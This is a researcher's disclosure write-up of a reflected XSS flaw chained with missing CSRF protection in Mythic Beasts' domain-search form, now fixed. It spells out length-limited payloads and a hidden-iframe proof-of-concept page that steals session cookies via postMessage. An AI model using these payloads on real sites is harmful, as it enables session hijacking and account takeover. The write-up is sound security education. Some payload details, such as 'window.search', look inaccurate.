This is a technical writeup about a vulnerability in Mythic Beasts that led to total account compromise, and why being able to chain XSS with CSRF is so dangerous.

Background

I'm a volunteer cybersecurity engineer at The Gwiddle Foundation. It is my job to test websites and services that we use for vulnerabilities in order to protect users. So it began on the morning of September 4th, 2017. I was just testing a few fields on our sponsor's website (Mythic Beasts) for reflected XSS, and to my surprise, I did find one field that was vulnerable.

The domain-searching feature did not sanitize domain names before writing them to the page. When I would enter in a domain name that contains an XSS payload, it would write about 10 versions of the domain with different TLDs to the webpage without sanitizing. Also, because domain names like <svg onload=alert(1)>.com are invalid, there were also error messages that were not sanitized on the page. So the payload would execute a total of 20 times on the page.

Later that night when I had more time to test, I checked for CSRF protection to see if it would be possible to exploit the reflected XSS vulnerability cross-site. There was no CSRF protection on the domain-searching form. And so, I decided to design a proof of concept webpage that would exfiltrate the session token from Mythic Beasts and write it to the page.

Here's how I planned for the PoC webpage to work:

The webpage would contain JavaScript to submit a form when the page loads to the domain-searching page, but because target was set to the id of an iframe on the webpage, the form would be submitted to the iframe (so the current webpage wouldn't change, and everything could happen in the background).

The parameters submitted with the form would contain the reflected XSS payload. The XSS payload would be written to the vulnerable webpage, and because it was not sanitized, it would be executed.

The XSS payload would use window.top.postMessage()on the vulnerable webpage to send the cookies cross-site to the webpage that was exploiting the vulnerability.

Once the webpage exploiting the vulnerability received the cookies, it would get the session token and write it to the page.

Basically, by viewing a specially crafted webpage, you would have unknowingly submitted a cross-origin POST request to mythic beasts that contained an XSS payload that would execute. The payload, in very simple terms (and without completely describing what it does), would send the cookies (document.cookie) which contains the session token back to window.top (the original page that was exploiting the vulnerability) via window.postMessage().

Exploiting the vulnerability

The vulnerability seemed simple to exploit at first. Just make a POST request containing an XSS payload to send the session token back to you, right? Well, there were a couple of filters put in place:

There was a relatively short limit to the number of characters that the domain could contain, so it had to be a very small payload.

The characters ., ", ', and / were not allowed in the payload. You could encode them using HTML entities, but as mentioned in the above point, the payload had to be short, and I did not have room for HTML entities.

My goal, as mentioned before, was to be able to execute the JavaScript: window.top.postMessage(document.cookie, "*") to send the cookies back to me. However, because the payload had to be short, I did not have room in the payload to execute that. So I came up with this after some testing: <svg onload=eval(window&#46;search&#46;split(9)[1])>. Basically, it evals (executes) the code in the page URL that is after the character 9.

The string &#46; is just the HTML entities encoded version of a period (.).

I was going to make it execute the code after a parameter like cmd or something more readable, but the problem was that I did not have enough room in the payload to put HTML entity-encoded quotation marks.

Without quotation marks, the string is treated as a variable (one that does not exist). However, if I use an integer like 9, I do not need quotation marks.

Now that I can execute code that is after the character 9 in the URL, I would just make the URL that the form posts to https://ctrlpanel.mythic-beasts.com/customer/newdomain?9window.top.postMessage(document.cookie, "*"), right? Well, nope. I was getting a syntax error, because the browser URL encoded the parameters in the URL. Oh, that's a big problem. I needed to write JavaScript to be able to decode URL-encoded strings and eval (execute) them. And that code must be syntactically valid, even when when URL-encoded. Then I realized that putting this in the URL would work: eval(decodeURIComponent(String(window.location).substring(55)))

That string, when URL-encoded, does not differ from the original string. It is syntactically valid JavaScript when URL-encoded.

What it does is it evaluates the string that is outputted when: substring is run on the URL to get only the URL parameters, because the length of the URL without the parameters is 55.

Therefore, the final URL would be https://ctrlpanel.mythic-beasts.com/customer/newdomain?window.top.postMessage(document.cookie, "*")//9eval(decodeURIComponent(String(window.location).substring(55))).

After evaluating the content after the ? character, it would run into some syntax errors once it hit the character 9. However, this can be prevented by putting a single-line comment (//) before the 9 but after the code we want to execute.

That was really complicated. Here's less detailed rundown of how it works:

A POST request is submitted to the URL https://ctrlpanel.mythic-beasts.com/customer/newdomain?window.top.postMessage(document.cookie, "*")//9eval(decodeURIComponent(String(window.location).substring(55))).

The POST request contains an XSS payload that executes eval(window.search.split(9)[1]). That basically evaluates (or executes) the code after the character 9 in the URL, which in this case, is eval(decodeURIComponent(String(window.location).substring(55))).

eval(decodeURIComponent(String(window.location).substring(55))) just evalutates the URL-decoded string that is after the 55th character. In this case, that would mean it evaluates the string window.top.postMessage(document.cookie, "*")//9eval(decodeURIComponent(String(window.location).substring(55))).

The first part of our payload that executes is window.top.postMessage(document.cookie, "*"). This sends the cookies to us. The second part that executes is //9eval(decodeURIComponent(String(window.location).substring(55))). This is the code we used before to bypass the problem involving URL encoding. We can just put a comment before the 9 character, and we won't have to deal with it throwing syntax errors or whatever.

More information

Why is this dangerous?
An attacker could potentially have exfiltrated victims' session tokens, and used them to register servers, change passwords, or perform any actions on the website that victims normally could without getting their usernames or passwords or ever logging in (and just by visiting an attacker's website).

How did Mythic Beasts respond?
Mythic Beasts' security team was very kind, and they fixed the vulnerability relatively quickly. They even rewarded me with an Amazon gift card and wrote a blog post about the incident. Thanks a ton, Mythic Beasts!